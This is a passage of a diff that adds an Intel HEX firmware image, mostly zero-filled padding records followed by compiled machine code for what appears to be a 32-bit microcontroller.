+:100980000000000000000000000000000000000067 +:100990000000000000000000000000000000000057 +:1009A0000000000000000000000000000000000047 +:1009B0000000000000000000000000000000000037 +:1009C0000000000000000000000000000000000027 +:1009D0000000000000000000000000000000000017 +:1009E0000000000000000000000000000000000007 +:1009F00000000000000000000000000000000000F7 +:100A000000000000000000000000000000000000E6 +:100A100000000000000000000000000000000000D6 +:100A200000000000000000000000000000000000C6 +:100A300000000000000000000000000000000000B6 +:100A400000000000000000000000000000000000A6 +:100A50000000000000000000000000000000000096 +:100A60000000000000000000000000000000000086 +:100A70000000000000000000000000000000000076 +:100A80000000000000000000000000000000000066 +:100A90000000000000000000000000000000000056 +:100AA0000000000000000000000000000000000046 +:100AB0000000000000000000000000000000000036 +:100AC0000000000000000000000000000000000026 +:100AD0000000000000000000000000000000000016 +:100AE0000000000000000000000000000000000006 +:100AF00000000000000000000000000000000000F6 +:100B000000000000000000000000000000000000E5 +:100B100000000000000000000000000000000000D5 +:100B200000000000000000000000000000000000C5 +:100B300000000000000000000000000000000000B5 +:100B400000000000000000000000000000000000A5 +:100B50000000000000000000000000000000000095 +:100B60000000000000000000000000000000000085 +:100B70000000000000000000000000000000000075 +:100B80000000000000000000000000000000000065 +:100B90000000000000000000000000000000000055 +:100BA0000000000000000000000000000000000045 +:100BB0000000000000000000000000000000000035 +:100BC0000000000000000000000000000000000025 +:100BD0000000000000000000000000000000000015 +:100BE0000000000000000000000000000000000005 +:100BF00000000000000000000000000000000000F5 +:100C000000000000000000000000000000000000E4 +:100C100000000000000000000000000000000000D4 +:100C200000000000000000000000000000000000C4 +:100C300000000000000000000000000000000000B4 +:100C400000000000000000000000000000000000A4 +:100C50000000000000000000000000000000000094 +:100C60000000000000000000000000000000000084 +:100C70000000000000000000000000000000000074 +:100C80000000000000000000000000000000000064 +:100C90000000000000000000000000000000000054 +:100CA0000000000000000000000000000000000044 +:100CB0000000000000000000000000000000000034 +:100CC0000000000000000000000000000000000024 +:100CD0000000000000000000000000000000000014 +:100CE0000000000000000000000000000000000004 +:100CF00000000000000000000000000000000000F4 +:100D000000000000000000000000000000000000E3 +:100D100000000000000000000000000000000000D3 +:100D200000000000000000000000000000000000C3 +:100D300000000000000000000000000000000000B3 +:100D400000000000000000000000000000000000A3 +:100D50000000000000000000000000000000000093 +:100D60000000000000000000000000000000000083 +:100D70000000000000000000000000000000000073 +:100D80000000000000000000000000000000000063 +:100D90000000000000000000000000000000000053 +:100DA0000000000000000000000000000000000043 +:100DB0000000000000000000000000000000000033 +:100DC0000000000000000000000000000000000023 +:100DD0000000000000000000000000000000000013 +:100DE0000000000000000000000000000000000003 +:100DF00000000000000000000000000000000000F3 +:100E000000000000000000000000000000000000E2 +:100E100000000000000000000000000000000000D2 +:100E200000000000000000000000000000000000C2 +:100E300000000000000000000000000000000000B2 +:100E400000000000000000000000000000000000A2 +:100E50000000000000000000000000000000000092 +:100E60000000000000000000000000000000000082 +:100E70000000000000000000000000000000000072 +:100E80000000000000000000000000000000000062 +:100E90000000000000000000000000000000000052 +:100EA0000000000000000000000000000000000042 +:100EB0000000000000000000000000000000000032 +:100EC0000000000000000000000000000000000022 +:100ED0000000000000000000000000000000000012 +:100EE0000000000000000000000000000000000002 +:100EF00000000000000000000000000000000000F2 +:100F000000000000000000000000000000000000E1 +:100F100000000000000000000000000000000000D1 +:100F200000000000000000000000000000000000C1 +:100F300000000000000000000000000000000000B1 +:100F400000000000000000000000000000000000A1 +:100F50000000000000000000000000000000000091 +:100F60000000000000000000000000000000000081 +:100F70000000000000000000000000000000000071 +:100F80000000000000000000000000000000000061 +:100F90000000000000000000000000000000000051 +:100FA0000000000000000000000000000000000041 +:100FB0000000000000000000000000000000000031 +:100FC0000000000000000000000000000000000021 +:100FD0000000000000000000000000000000000011 +:100FE0000000000000000000000000000000000001 +:100FF00000000000000000000000000000000000F1 +:1010000000000000000000000000000000000000E0 +:1010100000000000000000000000000000000000D0 +:1010200000000000000000000000000000000000C0 +:1010300000000000000000000000000000000000B0 +:1010400000000000000000000000000000000000A0 +:101050000000000000000000000000000000000090 +:101060000000000000000000000000000000000080 +:101070000000000000000000000000000000000070 +:101080000000000000000000000000000000000060 +:101090000000000000000000000000000000000050 +:1010A0000000000000000000000000000000000040 +:1010B0000000000000000000000000000000000030 +:1010C0000000000000000000000000000000000020 +:1010D0000000000000000000000000000000000010 +:1010E0000000000000000000000000000000000000 +:1010F00000000000000000000000000000000000F0 +:1011000000000000000000000000000000000000DF +:1011100000000000000000000000000000000000CF +:1011200000000000000000000000000000000000BF +:1011300000000000000000000000000000000000AF +:10114000000000000000000000000000000000009F +:10115000000000000000000000000000000000008F +:10116000000000000000000000000000000000007F +:10117000000000000000000000000000000000006F +:10118000000000000000000000000000000000005F +:10119000000000000000000000000000000000004F +:1011A000000000000000000000000000000000003F +:1011B000000000000000000000000000000000002F +:1011C000000000000000000000000000000000001F +:1011D000000000000000000000000000000000000F +:1011E00000000000000000000000000000000000FF +:1011F00000000000000000000000000000000000EF +:1012000000000000000000000000000000000000DE +:1012100000000000000000000000000000000000CE +:1012200000000000000000000000000000000000BE +:1012300000000000000000000000000000000000AE +:10124000000000000000000000000000000000009E +:10125000000000000000000000000000000000008E +:10126000000000000000000000000000000000007E +:10127000000000000000000000000000000000006E +:10128000000000000000000000000000000000005E +:10129000000000000000000000000000000000004E +:1012A000000000000000000000000000000000003E +:1012B000000000000000000000000000000000002E +:1012C000000000000000000000000000000000001E +:1012D000000000000000000000000000000000000E +:1012E00000000000000000000000000000000000FE +:1012F00000000000000000000000000000000000EE +:1013000000000000000000000000000000000000DD +:1013100000000000000000000000000000000000CD +:1013200000000000000000000000000000000000BD +:1013300000000000000000000000000000000000AD +:10134000000000000000000000000000000000009D +:10135000000000000000000000000000000000008D +:10136000000000000000000000000000000000007D +:10137000000000000000000000000000000000006D +:10138000000000000000000000000000000000005D +:10139000000000000000000000000000000000004D +:1013A000000000000000000000000000000000003D +:1013B000000000000000000000000000000000002D +:1013C000000000000000000000000000000000001D +:1013D000000000000000000000000000000000000D +:1013E00000000000000000000000000000000000FD +:1013F00000000000000000000000000000000000ED +:1014000000000000000000000000000000000000DC +:1014100000000000000000000000000000000000CC +:1014200000000000000000000000000000000000BC +:1014300000000000000000000000000000000000AC +:10144000000000000000000000000000000000009C +:10145000000000000000000000000000000000008C +:10146000000000000000000000000000000000007C +:10147000000000000000000000000000000000006C +:10148000000000000000000000000000000000005C +:10149000000000000000000000000000000000004C +:1014A000000000000000000000000000000000003C +:1014B000000000000000000000000000000000002C +:1014C000000000000000000000000000000000001C +:1014D000000000000000000000000000000000000C +:1014E00000000000000000000000000000000000FC +:1014F00000000000000000000000000000000000EC +:1015000000000000000000000000000000000000DB +:1015100000000000000000000000000000000000CB +:1015200000000000000000000000000000000000BB +:1015300000000000000000000000000000000000AB +:10154000000000000000000000000000000000009B +:10155000000000000000000000000000000000008B +:10156000000000000000000000000000000000007B +:10157000000000000000000000000000000000006B +:10158000000000000000000000000000000000005B +:10159000000000000000000000000000000000004B +:1015A000000000000000000000000000000000003B +:1015B000000000000000000000000000000000002B +:1015C000000000000000000000000000000000001B +:1015D000000000000000000000000000000000000B +:1015E00000000000000000000000000000000000FB +:1015F00000000000000000000000000000000000EB +:1016000000000000000000000000000000000000DA +:1016100000000000000000000000000000000000CA +:1016200000000000000000000000000000000000BA +:1016300000000000000000000000000000000000AA +:10164000000000000000000000000000000000009A +:10165000000000000000000000000000000000008A +:10166000000000000000000000000000000000007A +:10167000000000000000000000000000000000006A +:10168000000000000000000000000000000000005A +:10169000000000000000000000000000000000004A +:1016A000000000000000000000000000000000003A +:1016B000000000000000000000000000000000002A +:1016C000000000000000000000000000000000001A +:1016D000000000000000000000000000000000000A +:1016E00000000000000000000000000000000000FA +:1016F00000000000000000000000000000000000EA +:1017000000000000000000000000000000000000D9 +:1017100000000000000000000000000000000000C9 +:1017200000000000000000000000000000000000B9 +:1017300000000000000000000000000000000000A9 +:101740000000000000000000000000000000000099 +:101750000000000000000000000000000000000089 +:101760000000000000000000000000000000000079 +:101770000000000000000000000000000000000069 +:101780000000000000000000000000000000000059 +:101790000000000000000000000000000000000049 +:1017A0000000000000000000000000000000000039 +:1017B0000000000000000000000000000000000029 +:1017C0000000000000000000000000000000000019 +:1017D0000000000000000000000000000000000009 +:1017E00000000000000000000000000000000000F9 +:1017F00000000000000000000000000000000000E9 +:1018000000000000000000000000000000000000D8 +:1018100000000000000000000000000000000000C8 +:1018200000000000000000000000000000000000B8 +:1018300000000000000000000000000000000000A8 +:101840000000000000000000000000000000000098 +:101850000000000000000000000000000000000088 +:101860000000000000000000000000000000000078 +:101870000000000000000000000000000000000068 +:101880000000000000000000000000000000000058 +:101890000000000000000000000000000000000048 +:1018A0000000000000000000000000000000000038 +:1018B0000000000000000000000000000000000028 +:1018C0000000000000000000000000000000000018 +:1018D0000000000000000000000000000000000008 +:1018E00000000000000000000000000000000000F8 +:1018F00000000000000000000000000000000000E8 +:1019000000000000000000000000000000000000D7 +:1019100000000000000000000000000000000000C7 +:1019200000000000000000000000000000000000B7 +:1019300000000000000000000000000000000000A7 +:101940000000000000000000000000000000000097 +:101950000000000000000000000000000000000087 +:101960000000000000000000000000000000000077 +:101970000000000000000000000000000000000067 +:101980000000000000000000000000000000000057 +:101990000000000000000000000000000000000047 +:1019A0000000000000000000000000000000000037 +:1019B0000000000000000000000000000000000027 +:1019C0000000000000000000000000000000000017 +:1019D0000000000000000000000000000000000007 +:1019E00000000000000000000000000000000000F7 +:1019F00000000000000000000000000000000000E7 +:101A000000000000000000000000000000000000D6 +:101A100000000000000000000000000000000000C6 +:101A200000000000000000000000000000000000B6 +:101A300000000000000000000000000000000000A6 +:101A40000000000000000000000000000000000096 +:101A50000000000000000000000000000000000086 +:101A60000000000000000000000000000000000076 +:101A70000000000000000000000000000000000066 +:101A80000000000000000000000000000000000056 +:101A90000000000000000000000000000000000046 +:101AA0000000000000000000000000000000000036 +:101AB0000000000000000000000000000000000026 +:101AC0000000000000000000000000000000000016 +:101AD0000000000000000000000000000000000006 +:101AE00000000000000000000000000000000000F6 +:101AF00000000000000000000000000000000000E6 +:101B000000000000000000000000000000000000D5 +:101B100000000000000000000000000000000000C5 +:101B200000000000000000000000000000000000B5 +:101B300000000000000000000000000000000000A5 +:101B40000000000000000000000000000000000095 +:101B50000000000000000000000000000000000085 +:101B60000000000000000000000000000000000075 +:101B70000000000000000000000000000000000065 +:101B80000000000000000000000000000000000055 +:101B90000000000000000000000000000000000045 +:101BA0000000000000000000000000000000000035 +:101BB0000000000000000000000000000000000025 +:101BC0000000000000000000000000000000000015 +:101BD0000000000000000000000000000000000005 +:101BE00000000000000000000000000000000000F5 +:101BF00000000000000000000000000000000000E5 +:101C000000000000000000000000000000000000D4 +:101C100000000000000000000000000000000000C4 +:101C200000000000000000000000000000000000B4 +:101C300000000000000000000000000000000000A4 +:101C40000000000000000000000000000000000094 +:101C50000000000000000000000000000000000084 +:101C60000000000000000000000000000000000074 +:101C70000000000000000000000000000000000064 +:101C80000000000000000000000000000000000054 +:101C90000000000000000000000000000000000044 +:101CA0000000000000000000000000000000000034 +:101CB0000000000000000000000000000000000024 +:101CC0000000000000000000000000000000000014 +:101CD0000000000000000000000000000000000004 +:101CE00000000000000000000000000000000000F4 +:101CF00000000000000000000000000000000000E4 +:101D000000000000000000000000000000000000D3 +:101D100000000000000000000000000000000000C3 +:101D200000000000000000000000000000000000B3 +:101D300000000000000000000000000000000000A3 +:101D40000000000000000000000000000000000093 +:101D50000000000000000000000000000000000083 +:101D60000000000000000000000000000000000073 +:101D70000000000000000000000000000000000063 +:101D80000000000000000000000000000000000053 +:101D90000000000000000000000000000000000043 +:101DA0000000000000000000000000000000000033 +:101DB0000000000000000000000000000000000023 +:101DC0000000000000000000000000000000000013 +:101DD0000000000000000000000000000000000003 +:101DE00000000000000000000000000000000000F3 +:101DF00000000000000000000000000000000000E3 +:101E000000000000000000000000000000000000D2 +:101E100000000000000000000000000000000000C2 +:101E200000000000000000000000000000000000B2 +:101E300000000000000000000000000000000000A2 +:101E40000000000000000000000000000000000092 +:101E50000000000000000000000000000000000082 +:101E60000000000000000000000000000000000072 +:101E70000000000000000000000000000000000062 +:101E80000000000000000000000000000000000052 +:101E90000000000000000000000000000000000042 +:101EA0000000000000000000000000000000000032 +:101EB0000000000000000000000000000000000022 +:101EC0000000000000000000000000000000000012 +:101ED0000000000000000000000000000000000002 +:101EE00000000000000000000000000000000000F2 +:101EF00000000000000000000000000000000000E2 +:101F000000000000000000000000000000000000D1 +:101F100000000000000000000000000000000000C1 +:101F200000000000000000000000000000000000B1 +:101F300000000000000000000000000000000000A1 +:101F40000000000000000000000000000000000091 +:101F50000000000000000000000000000000000081 +:101F60000000000000000000000000000000000071 +:101F70000000000000000000000000000000000061 +:101F80000000000000000000000000000000000051 +:101F90000000000000000000000000000000000041 +:101FA0000000000000000000000000000000000031 +:101FB0000000000000000000000000000000000021 +:101FC0000000000000000000000000000000000011 +:101FD0000000000000000000000000000000000001 +:101FE00000000000000000000000000000000000F1 +:101FF00000000000000000000000000000000000E1 +:04200000FECFD50C2E +:10200400D401303B307CF01F001C303B308CF01F7F +:10201400001A303B315CF01F0018303B316CF01F6C +:102024000016300B322CF01F0014300B323CF01F22 +:102034000012300B30DCF01F0010300B326CF01F3C +:10204400000E300B327CF01F000C300B328CF01F72 +:10205400000A304B489CF01F000A304B489CF01F8C +:102064000008302B488CF01F0006302B487CF01FF2 +:102074000004D8028000385480005C0480003824B6 +:1020840080005C0C80005C1480005C00D4014C185F +:1020940011DB4C18118A3038F00A1800C2714BD881 +:1020A400F13A0008F1390009F3EA108911FAF5DA76 +:1020B400C006F3EA110A2FFAF40B160D1699F40868 +:1020C40015134B6AF4E90000F7DBC0094B48B00B69 +:1020D400F4EA00009009F4081609F1EB11782018CD +:1020E400B77912084AF99308C4284AA8F13C000AAF +:1020F400F1390008A78911FEF20E002911EEFDDE68 +:10210400C002AB6E1C092FF9F1380009F1D8C002E6 +:10211400F80E1607FC0800182FE8F20809492019E0 +:102124004A089109700EF7DBC0042FFEFC0B094826 +:10213400300949AEFCE900004998B0093098F00B29 +:102144001800E088000849787009209BF20B094BBD +:10215400910B580AC0C1F1DCC045F9DCC00248D972 +:10216400F339000BA37CF9E91259C0C8489AF53930 +:10217400000AF3D9C006F538000BA798F009001837 +:1021840030092FF92FF8B1394878B009D802000086 +:102194000000067800000676000006640000066C65 +:1021A400000006700000066E5EFCD703D401201DFB +:1021B400189BFE7C2400F01F0009FACBFFFEFE7C76 +:1021C4002400F01F0007581CC041E06C00FFC02829 +:1021D4001BBC2FFDD802000080003BE280003BFEC8 +:1021E400D421301BFE7C2400F01F00103007E06572 +:1021F40000FF48F43FF6C0B82FF7E2570D40C07116 +:10220400301BFE7C2400F01F000BD82A0A9CF01F10 +:10221400000AA88CEC0C1800CF01301BFE7C2400B3 +:10222400F01F0004DA2A000080003AA800000688A3 +:1022340080003AF4800021B0D401A97C4838910C84 +:10224400F01F0003D8020000000000F0800021E429 +:10225400D401F01F0002D802800021E4D401A97C3B +:102264004838910CF01F0003D8020000000000F071 +:10227400800021E4EBCD40F818961697E06B00FF40 +:10228400FE7C2400F01F002B0C9BA7AB5C5BFE7C48 +:102294002400F01F0028EE0B1618FE7C2400F01F0B +:1022A4000025EE0B1610FE7C2400F01F0022F7D749 +:1022B400C110FE7C2400F01F001F0E9B5C7BFE7C83 +:1022C4002400F01F001C3008F0061800C06030889D +:1022D400F0061800C101C088E06B0095FE7C240064 +:1022E400F01F0014C0E8E06B0087FE7C2400F01FA0 +:1022F4000011C078E06B00FFFE7C2400F01F000D8D +:102304003FF948D8B0893007E06400FF1093129673 +:1023140030B5C0682FF75C57EA071800C080089CE6 +:10232400F01F0006A68CEC0C1800CF50E3CD80F80B +:1023340080003BE200000688800021B0EBCD40C065 +:1023440018971696301BFE7C2400F01F00090C9B86 +:102354000E9CF01F00084887AE8C301BFE7C2400C6 +:10236400F01F00060F8CE3CD80C0000080003AA867 +:10237400800022780000068880003AF4EBCD40FE0D +:1023840049A811893008F0091800C1F130070E94EA +:1023940049733016E06200FFFE71240030B5C0C8F6 +:1023A400049B029CF01F00132FF75C87EA071900B7 +:1023B400C031E3CF80FE089B089CF01F000FA68C61 +:1023C400EC0C1800CEE1C0E8300B33BCF01F000A5F +:1023D4004878B08C580CC06030094848B089E3CFC5 +:1023E40080FEE3CF90FE0000000003080000068892 +:1023F40080003BE280002340EBCD40E01897F01FC3 +:102404000049E080008C301BFE7C2400F01F004655 +:102414004C6811893038F0091800C0A14C48700B81 +:10242400A99B318CF01F00434C38B08CC0884C08F9 +:10243400700B318CF01F003F4BF8B08C4BE81189C6 +:102444003008F0091800C080301BFE7C2400F01F07 +:10245400003BE3CF80E0E06B00FFFE7C2400F01F34 +:102464000038E06B00FEFE7C2400F01F0035EEC651 +:10247400FE00FE7524000F3B0A9CF01F00310C3750 +:10248400CFB1E06B00FFFE7C2400F01F002DE06B59 +:1024940000FFFE7C2400F01F002AE06C00FFF01F08 +:1024A40000294A58B08CF9DCC005585CC140E06B87 +:1024B40000FFFE7C2400F01F0022E06B00FFFE7C86 +:1024C4002400F01F001F301BFE7C2400F01F001BA3 +:1024D400E3CF80E0E06B00FFFE7C2400F01F0018D7 +:1024E400E06B00FFFE7C2400F01F0015301BFE7C17 +:1024F4002400F01F001248E87009F2C9FE00910997 +:10250400300730A6C0682FF75C87EC071900C0605D +:10251400F01F0004CF90E3CF90E0E3CF80E0000011 +:10252400800021E480003AA800000676000000F054 +:10253400800022780000068880003AF480003BE2A4 +:10254400800021B0EBCD40C0F01F001CC031E3CFB0 +:10255400C0C0301BFE7C2400F01F0019300B33ACCC +:10256400F01F00184988B08C580CC080301BFE7CCA +:102574002400F01F0016E3CFC0C0E06C00FFF01F82 +:1025840000141896E06C00FFF01F001148E7AE8CB1 +:10259400E06C00FFF01F000EAE8CE06C00FFF01F3B +:1025A400000CAE8C301BFE7C2400F01F0008F9D612 +:1025B400C0C1E3CD80C00000800021E480003AA8BF +:1025C400800022780000068880003AF4800021B060 +:1025D400EBCD4080F01F0027C031E3CFC080301B1B +:1025E400FE7C2400F01F0024E06B01AA308CF01F55 +:1025F40000234A38B08CE21C0004C080301BFE7CEF +:102604002400F01F0020E3CF8080E06C00FFF01F67 +:10261400001E49B7AE8CE06C00FFF01F001BAE8CAF +:10262400E06C00FFF01F0018AE8CF9DCC001C08123 +:10263400301BFE7C2400F01F0013E3CFC080E06C4D +:1026440000FFF01F001148E8B08C3AA8F00C180005 +:10265400C080301BFE7C2400F01F000AE3CFC08042 +:10266400301BFE7C2400F01F0007E3CF90800000A5 +:10267400800021E480003AA88000227800000688C7 +:1026840080003AF4800021B0EBCD40F8201D18936F +:10269400F01F0048E080008A301BFE7C2400F01FFD +:1026A40000464C6811893038F0091800C0A14C4824 +:1026B400700BA99B311CF01F00434C38B08CC088B0 +:1026C4004BF8700B311CF01F003F4BF8B08C4BE8FB +:1026D40011893008F0091800C120301BFE7C240049 +:1026E400F01F003A300CC61820175C87C0E1301B7D +:1026F400FE7C2400F01F0035300CC578E06775308F +:10270400E06500FF4B043FF60A9CF01F0031A88CE3 +:10271400EC0C1800CEA03FE8F00C1800C0E0E06B11 +:1027240000FFFE7C2400F01F002B301BFE7C2400E5 +:10273400F01F0026300CC3980697E6C5FE00E0643F +:1027440000FFFE762400FAC3FFFE089B0C9CF01FDA +:102754000021069B0C9CF01F00209A180EC80A3713 +:10276400CF5149787009F2C9FE009109E06B00FF6E +:10277400FE7C2400F01F0017E06B00FFFE7C2400A9 +:10278400F01F0014E06B00FFFE7C2400F01F00111A +:10279400E06B00FFFE7C2400F01F000E301BFE7C6B +:1027A4002400F01F000A301C2FFDE3CD80F8000048 +:1027B400800021E480003AA800000676000000F0C2 +:1027C400800022780000068880003AF4800021B05E +:1027D40080003BE280003BFEEBCD40FC201D1892C4 +:1027E400F01F0032C5F0301BFE7C2400F01F0030C7 +:1027F400300B309CF01F002F4AF8B08C580CC0816D +:102804003007E06400FF10933FE63095C178301B39 +:10281400FE7C2400F01F002930094A98B089300C4E +:10282400C418EA071800C081301BFE7C2400F01F86 +:102834000023300CC3782FF75C57089CF01F00214D +:10284400A68CEC0C1800CEE13007E06500FFFE76A4 +:102854002400FAC4FFFE0A9B0C9CF01F001B089B7B +:102864000C9CF01F001A9A18E4070B082FF759075D +:10287400CF31E06B00FFFE7C2400F01F0013E06BFF +:1028840000FFFE7C2400F01F0010E06B00FFFE7CC4 +:102894002400F01F000D301BFE7C2400F01F0007F5 +:1028A400301C2FFDE3CD80FC800021E480003AA899 +:1028B400800022780000068880003AF400000308B3 +:1028C400800021B080003BE280003BFEEBCD40C0A5 +:1028D4001897580CC0B048760C9CF01F00070C9C4D +:1028E400F01F000620175C87CF81E3CF90C0000063 +:1028F400000000F4800035F4800023FCEBCD40C0E0 +:102904001897580CC0B048760C9CF01F00070C9C1C +:10291400F01F000620175C87CF81E3CF90C0000032 +:10292400000000F48000268C8000360CD431FEFBBD +:10293400026AE6681A809718FEF80264700AFE7C40 +:102944002400F01F0098301BFE7C2400F01F00962A +:102954003007E06600FFFE7524000C9B0A9CF01F04 +:1029640000932FF758A7CFA1301BFE7C2400F01F43 +:1029740000903008FEF9023CB288FEF9023AB288AF +:10298400300B169CF01F008DFEF80234B08CE06B07 +:1029940000FFFE7C2400F01F00853017FEF60220A5 +:1029A40030153003E06200FFFE7124003654C10884 +:1029B400069B069CF01F0081AC8C049B029CF01FBC +:1029C400007B2FF75C87E8071900E08000E50D889D +:1029D400EA081800CEE1F01F007B5BFCE08000DC1D +:1029E400581CC05130294F48B089C4C8300B337CBF +:1029F400F01F00724F27AE8CE06B00FFFE7C2400BA +:102A0400F01F006A300B329CF01F006CAE8CE06B40 +:102A140000FFFE7C2400F01F00650F88E21800FE12 +:102A2400C05130194E48B089C2D830094E28B089F7 +:102A3400300B169CF01F00614E18B08CE06B00FF49 +:102A4400FE7C2400F01F005930174DD6301530039A +:102A5400E06200FFFE7124003654C108069B069C08 +:102A6400F01F0056AC8C049B029CF01F00502FF703 +:102A74005C87E8071900E080008F0D88EA081800D9 +:102A8400CEE130074CC430150E9333704CC6E0626F +:102A940000FFFE7124000988EA081800C110C06311 +:102AA4003029F2081800C291C198069B301CF01F0F +:102AB4000043AC8C049B029CF01F003CC1E8069BC5 +:102AC400009CF01F003E069B329CF01F003CAC8C27 +:102AD400049B029CF01F0035C108069B009CF01F5C +:102AE4000037300BEA1B4000329CF01F0034AC8CE2 +:102AF400049B029CF01F002D2FF75C87FE78C350C7 +:102B0400F0071900C4800D893008F0091800CC4181 +:102B14004A9811893028F0091800C0A1F01F002A32 +:102B24005BFCC390581CC04130394A38B089300B23 +:102B340033BCF01F00224A27AE8CE06B00FFFE7C02 +:102B44002400F01F001AE06B0200310CF01F001B80 +:102B5400AE8CE06B00FFFE7C2400F01F00140F8994 +:102B64003008F0091800C171498CF01F0019C130F8 +:102B7400F01F0018301948F8B089488BE0681B0032 +:102B8400EA1800B797184868700AFE7C2400F01F02 +:102B94000005DA3AD83A0000000002F40000030409 +:102BA40080003B1C80003AA880003BE280003AF49D +:102BB4000000030800000676800023400000068819 +:102BC400800025D48000254800000678800027DC9A +:102BD40080002090D401F01F0007C0A0486811892C +:102BE4003008F0091800C020DA0AF01F0004D802E7 +:102BF400800023800000030880002930EBCD4010C2 +:102C0400FAC4FFF84888910C4888E8EA0000F0EB21 +:102C14000000E8EA0008F0EB0008F01F0005E3CD2F +:102C24008010000000000304000002F4800029303A +:102C3400F9DCC00449187009F9E910099109580C24 +:102C44005E0C48F82108189A5C9AF40A12002FFACC +:102C5400F409150412087009A969E029F000701B31 +:102C6400F34B0058701BF34B0044701B931BF80A82 +:102C74000A4CCEA15EFC00000000005080005C18ED +:102C8400F9DCC00449287009F80A11FFF5E90009C4 +:102C94009109580C5E0C48F82108189A5C9AF40AB9 +:102CA40012002FFAF409150412087009A969E02921 +:102CB400F000701BF34B0054701BF34B0044701B6B +:102CC400931BF80A0A4CCEA15EFC000000000050E1 +:102CD40080005C185EFDD703580C5F194838B08932 +:102CE40030194838B0895EFC0000068900000054A1 +:102CF400EBCD40C01496129749D811885808C340A8 +:102D0400300949B8B08949B85807EE081710149922 +:102D1400169A300BE06E0081163CFC0C1710F9BCBF +:102D24000002F01F0015C06130194918B089E3CDC5 +:102D340080C05807C13148E913885808CFE048F8E3 +:102D440011885808C11148E870290C19912948B80C +:102D5400118CEC1C0001E3CD80C0489870290C193B +:102D64009129E3CF90C0E3CF80C00000000000545D +:102D740080002CDC8000498400000689000000905B +:102D84004879300A300B1298B12AB12A300AB00AB5 +:102D94003F08B28830A8B2F85EFC00000000034887 +:102DA400D401F01F000430094838F169000CD8023E +:102DB40080002D8400000090EBCD40E0189516961D +:102DC4001497F01F000E301948D8F169000C48D848 +:102DD400B0A5EE091618B0B9EE091610B0C9EE097F +:102DE4001608B0D9B0E7F3D6C108F169000CF16652 +:102DF400000DE3CD80E0000080002D8400000090F1 +:102E040000000348D401300AE06B2800306CF01F46 +:102E14000002D80280002DBCD401300AE06B3A00D5 +:102E2400302CF01F0002D80280002DBCD401300ADF +:102E3400149B304CF01F0002D802000080002DBC0F +:102E4400D401300AE06B2400305CF01F0002D80289 +:102E540080002DBCD401488831F9488A301B302CBD +:102E6400F01F0007C061FECB0012302CF01F0005DC +:102E7400D80200008000320400000314800049845A +:102E840080003D70D401F01F0002D80280002E584B +:102E9400D401488830D9488A300BE06C0081F01F97 +:102EA4000007C061486BE06C0081F01F0006D80287 +:102EB40080002E88000000908000498480002E94B9 +:102EC40080003D70D40148F870285808C10048E8D3 +:102ED400F139000C3008F0091800C064E06C00817E +:102EE400F01F000AC048302CF01F000848584869F9 +:102EF40072199119F1D980029129F01F0005D802A5 +:102F0400000000900000031480003C7C80002E949C +:102F1400D40149C811893008F0091800C021D80A21 +:102F240030084989B28849891389F0091800C0B06A +:102F34004968908A4968700B4968F13C000DF01F9C +:102F44000016C0A84918908A4918700B4918F13C1A +:102F5400000DF01F0012582CC0B0583CC060580C33 +:102F6400C0A1F01F000FC098F01F000EC068F01F32 +:102F7400000EC038F01F000DF01F000DDA0A00002B +:102F8400000003100000035C000003400000034441 +:102F94000000031480004D1880004CDC80002DA438 +:102FA40080002E0880002E1C80002E3080002EC849 +:102FB400EBCD40801697580CC091F01F000648686E +:102FC40070290E199129F01F0005E3CD80800000BF +:102FD40080002DA40000009080002EC8D40148A8D1 +:102FE400F138000CF7E820083009F2081800C06531 +:102FF400486870281838C023DA0AF01F0005F01F4B +:103004000005D80A000003140000009080002E443C +:1030140080002EC8D40148881699189A301BE06C99 +:103024000081F01F0006C051F01F0005F01F0005CD +:10303400D802000080002FB48000498480002E3024 +:1030440080002EC8D401488811893008F00918007E +:10305400C090302CF01F0005FECB0014302CF01F64 +:103064000004D8020000033480003C7C80003D70E2 +:10307400D401489811893008F0091800C0B0E06CF8 +:103084000081F01F0006FECB0016E06C0081F01FEB +:103094000004D8020000033480003C7C80003D70B2 +:1030A400EBCD40E01896300A300B4AA8B12AB12A79 +:1030B40030099109580CC0804A78F13500174A59F3 +:1030C4002F893087C0784A48F13500134A192FC92F +:1030D40030474A18F1380011F1D8C00631CAF40853 +:1030E40018005F0A33FBF60818005F08F5E81008BB +:1030F400C09031C8B28830A8B2983058B2B82F47BF +:103104005C57EE051800EE051720E06B00800A9C62 +:10311400F01F0012C1B04908F13C000DF01F00106F +:10312400E0680080F00C1710F9BC00005806C0607D +:1031340048882027B007B0BCC05848682017B0871B +:10314400B0AC0A9B483CF01F0007E3CD80E00000D0 +:10315400000003600000031480002FE080004CB8DE +:1031640080003018EBCD40801897580CC11149C825 +:10317400F13C000DF01F001BC0B0300AE06B2700CB +:10318400307CF01F0019F01F0019E3CD80804989BD +:103194004938F13A0011B28AF13A0012B29AF13A7E +:1031A4000013B2AAF13A0014B2BA4929F13A00164E +:1031B400B28AF1380017B298928CE06B00805807FD +:1031C400F9BB0000A97CF01F000CC06048B8B087B0 +:1031D400301948B8B089E3CD8080000000000314A2 +:1031E40080004CB880002DBC80002EC80000034431 +:1031F4000000034080002FE00000035C0000031087 +:10320400EBCD40C0580CE081011459FBC0A1FEF87D +:1032140002267008E0694243EA1955531238C0B0D7 +:103224003019FEF80216B089F01F0085F01F0085E2 +:10323400E3CD80C0FEF90200F338000DF1D8C004DC +:10324400F368000DFEF902001389F0091800C0723A +:10325400F01F007EF01F007EE3CD80C04F68F1DADE +:1032640080024FC9932AF138000FE048005AE08BDE +:1032740000D44F99F208032F4EF8F1370013312888 +:10328400F0071800F9B70B12E06B00800E9CF01FDA +:103294000073E08000CE0E9B4F1CF01F0072E3CD44 +:1032A40080C04E58F13700133248F0071800F9B7C0 +:1032B4000B24E06B00800E9CF01F0068E08000B9D6 +:1032C4004DD8F1380010F1D8C002C0814DA8F139B1 +:1032D40000113008F0091800C070F01F005CF01FE6 +:1032E400005CE3CD80C04D48F13C000DF01F005E52 +:1032F4004DE6310A189BEC0A000CF01F005DED3915 +:1033040000103008F0091800E08000910C992EF9A3 +:103314003018300B310C138AF60A1800C0802FF8CD +:103324005C582FF9F8081800CF71C0D84CFC320B48 +:10333400310AF8080009F36B00102FF85C58F40800 +:103344001800CF810E9B4C9CF01F0046E3CD80C03B +:10335400300CF01F0048E3CD80C0301CF01F004546 +:10336400E3CD80C04B48F13C000DF01F0043582CC6 +:10337400C090583CC040580CC0B0C078F01F003F0B +:10338400C098F01F003FC068F01F003EC038F01F17 +:10339400003EF01F002FE3CD80C0E06B0080308C36 +:1033A400F01F002EC4504B9B4A38F13C000DF01F17 